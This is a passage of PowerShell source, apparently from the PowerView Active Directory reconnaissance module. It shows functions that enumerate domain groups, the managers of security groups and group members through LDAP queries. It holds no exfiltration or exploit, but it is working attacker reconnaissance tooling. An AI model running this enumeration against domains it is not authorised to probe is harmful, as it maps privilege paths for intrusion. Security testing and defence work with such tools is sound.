  5170.         $Domain,
  5171.  
  5172.         [ValidateNotNullOrEmpty()]
  5173.         [Alias('Filter')]
  5174.         [String]
  5175.         $LDAPFilter,
  5176.  
  5177.         [ValidateNotNullOrEmpty()]
  5178.         [String[]]
  5179.         $Properties,
  5180.  
  5181.         [ValidateNotNullOrEmpty()]
  5182.         [Alias('ADSPath')]
  5183.         [String]
  5184.         $SearchBase,
  5185.  
  5186.         [ValidateNotNullOrEmpty()]
  5187.         [Alias('DomainController')]
  5188.         [String]
  5189.         $Server,
  5190.  
  5191.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  5192.         [String]
  5193.         $SearchScope = 'Subtree',
  5194.  
  5195.         [ValidateRange(1, 10000)]
  5196.         [Int]
  5197.         $ResultPageSize = 200,
  5198.  
  5199.         [ValidateRange(1, 10000)]
  5200.         [Int]
  5201.         $ServerTimeLimit,
  5202.  
  5203.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  5204.         [String]
  5205.         $SecurityMasks,
  5206.  
  5207.         [Switch]
  5208.         $Tombstone,
  5209.  
  5210.         [Alias('ReturnOne')]
  5211.         [Switch]
  5212.         $FindOne,
  5213.  
  5214.         [Management.Automation.PSCredential]
  5215.         [Management.Automation.CredentialAttribute()]
  5216.         $Credential = [Management.Automation.PSCredential]::Empty,
  5217.  
  5218.         [Switch]
  5219.         $Raw
  5220.     )
  5221.  
  5222.     BEGIN {
  5223.         $SearcherArguments = @{}
  5224.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  5225.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  5226.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  5227.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5228.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  5229.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  5230.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5231.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  5232.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  5233.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5234.         $GroupSearcher = Get-DomainSearcher @SearcherArguments
  5235.     }
  5236.  
  5237.     PROCESS {
  5238.         if ($GroupSearcher) {
  5239.             if ($PSBoundParameters['MemberIdentity']) {
  5240.  
  5241.                 if ($SearcherArguments['Properties']) {
  5242.                     $OldProperties = $SearcherArguments['Properties']
  5243.                 }
  5244.  
  5245.                 $SearcherArguments['Identity'] = $MemberIdentity
  5246.                 $SearcherArguments['Raw'] = $True
  5247.  
  5248.                 Get-DomainObject @SearcherArguments | ForEach-Object {
  5249.                     # convert the user/group to a directory entry
  5250.                     $ObjectDirectoryEntry = $_.GetDirectoryEntry()
  5251.  
  5252.                     # cause the cache to calculate the token groups for the user/group
  5253.                     $ObjectDirectoryEntry.RefreshCache('tokenGroups')
  5254.  
  5255.                     $ObjectDirectoryEntry.TokenGroups | ForEach-Object {
  5256.                         # convert the token group sid
  5257.                         $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
  5258.  
  5259.                         # ignore the built in groups
  5260.                         if ($GroupSid -notmatch '^S-1-5-32-.*') {
  5261.                             $SearcherArguments['Identity'] = $GroupSid
  5262.                             $SearcherArguments['Raw'] = $False
  5263.                             if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
  5264.                             $Group = Get-DomainObject @SearcherArguments
  5265.                             if ($Group) {
  5266.                                 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
  5267.                                 $Group
  5268.                             }
  5269.                         }
  5270.                     }
  5271.                 }
  5272.             }
  5273.             else {
  5274.                 $IdentityFilter = ''
  5275.                 $Filter = ''
  5276.                 $Identity | Where-Object {$_} | ForEach-Object {
  5277.                     $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  5278.                     if ($IdentityInstance -match '^S-1-') {
  5279.                         $IdentityFilter += "(objectsid=$IdentityInstance)"
  5280.                     }
  5281.                     elseif ($IdentityInstance -match '^CN=') {
  5282.                         $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  5283.                         if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  5284.                             # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  5285.                             #   and rebuild the domain searcher
  5286.                             $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  5287.                             Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  5288.                             $SearcherArguments['Domain'] = $IdentityDomain
  5289.                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  5290.                             if (-not $GroupSearcher) {
  5291.                                 Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"
  5292.                             }
  5293.                         }
  5294.                     }
  5295.                     elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  5296.                         $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  5297.                         $IdentityFilter += "(objectguid=$GuidByteString)"
  5298.                     }
  5299.                     elseif ($IdentityInstance.Contains('\')) {
  5300.                         $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  5301.                         if ($ConvertedIdentityInstance) {
  5302.                             $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  5303.                             $GroupName = $IdentityInstance.Split('\')[1]
  5304.                             $IdentityFilter += "(samAccountName=$GroupName)"
  5305.                             $SearcherArguments['Domain'] = $GroupDomain
  5306.                             Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"
  5307.                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  5308.                         }
  5309.                     }
  5310.                     else {
  5311.                         $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
  5312.                     }
  5313.                 }
  5314.  
  5315.                 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  5316.                     $Filter += "(|$IdentityFilter)"
  5317.                 }
  5318.  
  5319.                 if ($PSBoundParameters['AdminCount']) {
  5320.                     Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
  5321.                     $Filter += '(admincount=1)'
  5322.                 }
  5323.                 if ($PSBoundParameters['GroupScope']) {
  5324.                     $GroupScopeValue = $PSBoundParameters['GroupScope']
  5325.                     $Filter = Switch ($GroupScopeValue) {
  5326.                         'DomainLocal'       { '(groupType:1.2.840.113556.1.4.803:=4)' }
  5327.                         'NotDomainLocal'    { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
  5328.                         'Global'            { '(groupType:1.2.840.113556.1.4.803:=2)' }
  5329.                         'NotGlobal'         { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
  5330.                         'Universal'         { '(groupType:1.2.840.113556.1.4.803:=8)' }
  5331.                         'NotUniversal'      { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
  5332.                     }
  5333.                     Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
  5334.                 }
  5335.                 if ($PSBoundParameters['GroupProperty']) {
  5336.                     $GroupPropertyValue = $PSBoundParameters['GroupProperty']
  5337.                     $Filter = Switch ($GroupPropertyValue) {
  5338.                         'Security'              { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
  5339.                         'Distribution'          { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
  5340.                         'CreatedBySystem'       { '(groupType:1.2.840.113556.1.4.803:=1)' }
  5341.                         'NotCreatedBySystem'    { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
  5342.                     }
  5343.                     Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
  5344.                 }
  5345.                 if ($PSBoundParameters['LDAPFilter']) {
  5346.                     Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
  5347.                     $Filter += "$LDAPFilter"
  5348.                 }
  5349.  
  5350.                 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
  5351.                 Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)"
  5352.  
  5353.                 if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() }
  5354.                 else { $Results = $GroupSearcher.FindAll() }
  5355.                 $Results | Where-Object {$_} | ForEach-Object {
  5356.                     if ($PSBoundParameters['Raw']) {
  5357.                         # return raw result objects
  5358.                         $Group = $_
  5359.                     }
  5360.                     else {
  5361.                         $Group = Convert-LDAPProperty -Properties $_.Properties
  5362.                     }
  5363.                     $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
  5364.                     $Group
  5365.                 }
  5366.                 if ($Results) {
  5367.                     try { $Results.dispose() }
  5368.                     catch {
  5369.                         Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
  5370.                     }
  5371.                 }
  5372.                 $GroupSearcher.dispose()
  5373.             }
  5374.         }
  5375.     }
  5376. }
  5377.  
  5378. function Get-DomainManagedSecurityGroup {
  5379.  
  5380.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  5381.     [OutputType('PowerView.ManagedSecurityGroup')]
  5382.     [CmdletBinding()]
  5383.     Param(
  5384.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  5385.         [Alias('Name')]
  5386.         [ValidateNotNullOrEmpty()]
  5387.         [String]
  5388.         $Domain,
  5389.  
  5390.         [ValidateNotNullOrEmpty()]
  5391.         [Alias('ADSPath')]
  5392.         [String]
  5393.         $SearchBase,
  5394.  
  5395.         [ValidateNotNullOrEmpty()]
  5396.         [Alias('DomainController')]
  5397.         [String]
  5398.         $Server,
  5399.  
  5400.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  5401.         [String]
  5402.         $SearchScope = 'Subtree',
  5403.  
  5404.         [ValidateRange(1, 10000)]
  5405.         [Int]
  5406.         $ResultPageSize = 200,
  5407.  
  5408.         [ValidateRange(1, 10000)]
  5409.         [Int]
  5410.         $ServerTimeLimit,
  5411.  
  5412.         [Switch]
  5413.         $Tombstone,
  5414.  
  5415.         [Management.Automation.PSCredential]
  5416.         [Management.Automation.CredentialAttribute()]
  5417.         $Credential = [Management.Automation.PSCredential]::Empty
  5418.     )
  5419.  
  5420.     BEGIN {
  5421.         $SearcherArguments = @{
  5422.             'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
  5423.             'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
  5424.         }
  5425.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  5426.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5427.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  5428.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  5429.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5430.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  5431.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  5432.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5433.     }
  5434.  
  5435.     PROCESS {
  5436.         if ($PSBoundParameters['Domain']) {
  5437.             $SearcherArguments['Domain'] = $Domain
  5438.             $TargetDomain = $Domain
  5439.         }
  5440.         else {
  5441.             $TargetDomain = $Env:USERDNSDOMAIN
  5442.         }
  5443.  
  5444.         # go through the list of security groups on the domain and identify those who have a manager
  5445.         Get-DomainGroup @SearcherArguments | ForEach-Object {
  5446.             $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
  5447.             $SearcherArguments['Identity'] = $_.managedBy
  5448.             $Null = $SearcherArguments.Remove('LDAPFilter')
  5449.  
  5450.             # $SearcherArguments
  5451.             # retrieve the object that the managedBy DN refers to
  5452.             $GroupManager = Get-DomainObject @SearcherArguments
  5453.             # Write-Host "GroupManager: $GroupManager"
  5454.             $ManagedGroup = New-Object PSObject
  5455.             $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
  5456.             $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
  5457.             $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
  5458.             $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
  5459.  
  5460.             # determine whether the manager is a user or a group
  5461.             if ($GroupManager.samaccounttype -eq 0x10000000) {
  5462.                 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
  5463.             }
  5464.             elseif ($GroupManager.samaccounttype -eq 0x30000000) {
  5465.                 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
  5466.             }
  5467.  
  5468.             $ACLArguments = @{
  5469.                 'Identity' = $_.distinguishedname
  5470.                 'RightsFilter' = 'WriteMembers'
  5471.             }
  5472.             if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
  5473.             if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
  5474.             if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
  5475.             if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5476.             if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
  5477.             if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
  5478.  
  5479.             # # TODO: correct!
  5480.             # # find the ACLs that relate to the ability to write to the group
  5481.             # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
  5482.             # # $ACLArguments
  5483.             # # double-check that the manager
  5484.             # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
  5485.             #     $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
  5486.             # }
  5487.             # else {
  5488.             #     $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
  5489.             # }
  5490.  
  5491.             $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
  5492.  
  5493.             $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
  5494.             $ManagedGroup
  5495.         }
  5496.     }
  5497. }
  5498.  
  5499. function Get-DomainGroupMember {
  5500.  
  5501.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  5502.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  5503.     [OutputType('PowerView.GroupMember')]
  5504.     [CmdletBinding(DefaultParameterSetName = 'None')]
  5505.     Param(
  5506.         [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  5507.         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  5508.         [String[]]
  5509.         $Identity,
  5510.  
  5511.         [ValidateNotNullOrEmpty()]
  5512.         [String]
  5513.         $Domain,
  5514.  
  5515.         [Parameter(ParameterSetName = 'ManualRecurse')]
  5516.         [Switch]
  5517.         $Recurse,
  5518.  
  5519.         [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
  5520.         [Switch]
  5521.         $RecurseUsingMatchingRule,
  5522.  
  5523.         [ValidateNotNullOrEmpty()]
  5524.         [Alias('Filter')]
  5525.         [String]
  5526.         $LDAPFilter,
  5527.  
  5528.         [ValidateNotNullOrEmpty()]
  5529.         [Alias('ADSPath')]
  5530.         [String]
  5531.         $SearchBase,
  5532.  
  5533.         [ValidateNotNullOrEmpty()]
  5534.         [Alias('DomainController')]
  5535.         [String]
  5536.         $Server,
  5537.  
  5538.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  5539.         [String]
  5540.         $SearchScope = 'Subtree',
  5541.  
  5542.         [ValidateRange(1, 10000)]
  5543.         [Int]
  5544.         $ResultPageSize = 200,
  5545.  
  5546.         [ValidateRange(1, 10000)]
  5547.         [Int]
  5548.         $ServerTimeLimit,
  5549.  
  5550.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  5551.         [String]
  5552.         $SecurityMasks,
  5553.  
  5554.         [Switch]
  5555.         $Tombstone,
  5556.  
  5557.         [Management.Automation.PSCredential]
  5558.         [Management.Automation.CredentialAttribute()]
  5559.         $Credential = [Management.Automation.PSCredential]::Empty
  5560.     )
  5561.  
  5562.     BEGIN {
  5563.         $SearcherArguments = @{
  5564.             'Properties' = 'member,samaccountname,distinguishedname'
  5565.         }
  5566.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  5567.         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
  5568.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  5569.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5570.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  5571.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  5572.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5573.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  5574.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5575.  
  5576.         $ADNameArguments = @{}
  5577.         if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
  5578.         if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
  5579.         if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
  5580.     }
  5581.  
  5582.     PROCESS {
  5583.         $GroupSearcher = Get-DomainSearcher @SearcherArguments
  5584.         if ($GroupSearcher) {
  5585.             if ($PSBoundParameters['RecurseUsingMatchingRule']) {
  5586.                 $SearcherArguments['Identity'] = $Identity
  5587.                 $SearcherArguments['Raw'] = $True
  5588.                 $Group = Get-DomainGroup @SearcherArguments
  5589.  
  5590.                 if (-not $Group) {
  5591.                     Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
  5592.                 }
  5593.                 else {
  5594.                     $GroupFoundName = $Group.properties.item('samaccountname')[0]
  5595.                     $GroupFoundDN = $Group.properties.item('distinguishedname')[0]
  5596.  
  5597.                     if ($PSBoundParameters['Domain']) {
  5598.                         $GroupFoundDomain = $Domain
  5599.                     }
  5600.                     else {
  5601.                         # if a domain isn't passed, try to extract it from the found group distinguished name
  5602.                         if ($GroupFoundDN) {
  5603.                             $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  5604.                         }
  5605.                     }
  5606.                     Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
  5607.                     $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
  5608.                     $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
  5609.                     $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
  5610.                 }
  5611.                 $Null = $SearcherArguments.Remove('Raw')
  5612.             }
  5613.             else {
  5614.                 $IdentityFilter = ''
  5615.                 $Filter = ''
  5616.                 $Identity | Where-Object {$_} | ForEach-Object {
  5617.                     $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  5618.                     if ($IdentityInstance -match '^S-1-') {
  5619.                         $IdentityFilter += "(objectsid=$IdentityInstance)"
  5620.                     }
  5621.                     elseif ($IdentityInstance -match '^CN=') {
  5622.                         $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  5623.                         if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  5624.                             # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  5625.                             #   and rebuild the domain searcher
  5626.                             $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  5627.                             Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  5628.                             $SearcherArguments['Domain'] = $IdentityDomain
  5629.                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  5630.                             if (-not $GroupSearcher) {
  5631.                                 Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
  5632.                             }
  5633.                         }
  5634.                     }
  5635.                     elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  5636.                         $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  5637.                         $IdentityFilter += "(objectguid=$GuidByteString)"
  5638.                     }
  5639.                     elseif ($IdentityInstance.Contains('\')) {
  5640.                         $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  5641.                         if ($ConvertedIdentityInstance) {
  5642.                             $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  5643.                             $GroupName = $IdentityInstance.Split('\')[1]
  5644.                             $IdentityFilter += "(samAccountName=$GroupName)"
  5645.                             $SearcherArguments['Domain'] = $GroupDomain
  5646.                             Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
  5647.                             $GroupSearcher = Get-DomainSearcher @SearcherArguments
  5648.                         }
  5649.                     }
  5650.                     else {
  5651.                         $IdentityFilter += "(samAccountName=$IdentityInstance)"
  5652.                     }
  5653.                 }
  5654.  
  5655.                 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  5656.                     $Filter += "(|$IdentityFilter)"
  5657.                 }
  5658.  
  5659.                 if ($PSBoundParameters['LDAPFilter']) {
  5660.                     Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
  5661.                     $Filter += "$LDAPFilter"
  5662.                 }
  5663.  
  5664.                 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
  5665.                 Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
  5666.                 try {
  5667.                     $Result = $GroupSearcher.FindOne()
  5668.                 }
  5669.                 catch {
  5670.                     Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
  5671.                     $Members = @()
  5672.                 }
  5673.  
  5674.                 $GroupFoundName = ''
  5675.                 $GroupFoundDN = ''
  5676.  
  5677.                 if ($Result) {
  5678.                     $Members = $Result.properties.item('member')
  5679.  
  5680.                     if ($Members.count -eq 0) {
  5681.                         # ranged searching, thanks @meatballs__ !
  5682.                         $Finished = $False
  5683.                         $Bottom = 0
  5684.                         $Top = 0
  5685.  
  5686.                         while (-not $Finished) {
  5687.                             $Top = $Bottom + 1499
  5688.                             $MemberRange="member;range=$Bottom-$Top"
  5689.                             $Bottom += 1500
  5690.                             $Null = $GroupSearcher.PropertiesToLoad.Clear()
  5691.                             $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
  5692.                             $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
  5693.                             $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
  5694.  
  5695.                             try {
  5696.                                 $Result = $GroupSearcher.FindOne()
  5697.                                 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
  5698.                                 $Members += $Result.Properties.item($RangedProperty)
  5699.                                 $GroupFoundName = $Result.properties.item('samaccountname')[0]
  5700.                                 $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
  5701.  
  5702.                                 if ($Members.count -eq 0) {
  5703.                                     $Finished = $True
  5704.                                 }
  5705.                             }
  5706.                             catch [System.Management.Automation.MethodInvocationException] {
  5707.                                 $Finished = $True
  5708.                             }
  5709.                         }
  5710.                     }
  5711.                     else {
  5712.                         $GroupFoundName = $Result.properties.item('samaccountname')[0]
  5713.                         $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
  5714.                         $Members += $Result.Properties.item($RangedProperty)
  5715.                     }
  5716.  
  5717.                     if ($PSBoundParameters['Domain']) {
  5718.                         $GroupFoundDomain = $Domain
  5719.                     }
  5720.                     else {
  5721.                         # if a domain isn't passed, try to extract it from the found group distinguished name
  5722.                         if ($GroupFoundDN) {
  5723.                             $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  5724.                         }
  5725.                     }
  5726.                 }
  5727.             }
  5728.  
  5729.             ForEach ($Member in $Members) {
  5730.                 if ($Recurse -and $UseMatchingRule) {
  5731.                     $Properties = $_.Properties
  5732.                 }
  5733.                 else {
  5734.                     $ObjectSearcherArguments = $SearcherArguments.Clone()
  5735.                     $ObjectSearcherArguments['Identity'] = $Member
  5736.                     $ObjectSearcherArguments['Raw'] = $True
  5737.                     $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
  5738.                     $Object = Get-DomainObject @ObjectSearcherArguments
  5739.                     $Properties = $Object.Properties
  5740.                 }
  5741.  
  5742.                 if ($Properties) {
  5743.                     $GroupMember = New-Object PSObject
  5744.                     $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
  5745.                     $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
  5746.                     $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
  5747.  
  5748.                     if ($Properties.objectsid) {
  5749.                         $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
  5750.                     }
  5751.                     else {
  5752.                         $MemberSID = $Null
  5753.                     }
  5754.  
  5755.                     try {
  5756.                         $MemberDN = $Properties.distinguishedname[0]
  5757.                         if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
  5758.                             try {
  5759.                                 if (-not $MemberSID) {
  5760.                                     $MemberSID = $Properties.cn[0]
  5761.                                 }
  5762.                                 $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
  5763.  
  5764.                                 if ($MemberSimpleName) {
  5765.                                     $MemberDomain = $MemberSimpleName.Split('@')[1]
  5766.                                 }
  5767.                                 else {
  5768.                                     Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
  5769.                                     $MemberDomain = $Null
  5770.                                 }
  5771.                             }
  5772.                             catch {
  5773.                                 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
  5774.                                 $MemberDomain = $Null
  5775.                             }
  5776.                         }
  5777.                         else {
  5778.                             # extract the FQDN from the Distinguished Name
  5779.                             $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  5780.                         }
  5781.                     }
  5782.                     catch {
  5783.                         $MemberDN = $Null
  5784.                         $MemberDomain = $Null
  5785.                     }
  5786.  
  5787.                     if ($Properties.samaccountname) {
  5788.                         # forest users have the samAccountName set
  5789.                         $MemberName = $Properties.samaccountname[0]
  5790.                     }
  5791.                     else {
  5792.                         # external trust users have a SID, so convert it
  5793.                         try {
  5794.                             $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
  5795.                         }
  5796.                         catch {
  5797.                             # if there's a problem contacting the domain to resolve the SID
  5798.                             $MemberName = $Properties.cn[0]
  5799.                         }
  5800.                     }
  5801.  
  5802.                     if ($Properties.objectclass -match 'computer') {
  5803.                         $MemberObjectClass = 'computer'
  5804.                     }
  5805.                     elseif ($Properties.objectclass -match 'group') {
  5806.                         $MemberObjectClass = 'group'
  5807.                     }
  5808.                     elseif ($Properties.objectclass -match 'user') {
  5809.                         $MemberObjectClass = 'user'
  5810.                     }
  5811.                     else {
  5812.                         $MemberObjectClass = $Null
  5813.                     }
  5814.                     $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
  5815.                     $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
  5816.                     $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
  5817.                     $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
  5818.                     $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
  5819.                     $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
  5820.                     $GroupMember
  5821.  
  5822.                     # if we're doing manual recursion
  5823.                     if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
  5824.                         Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
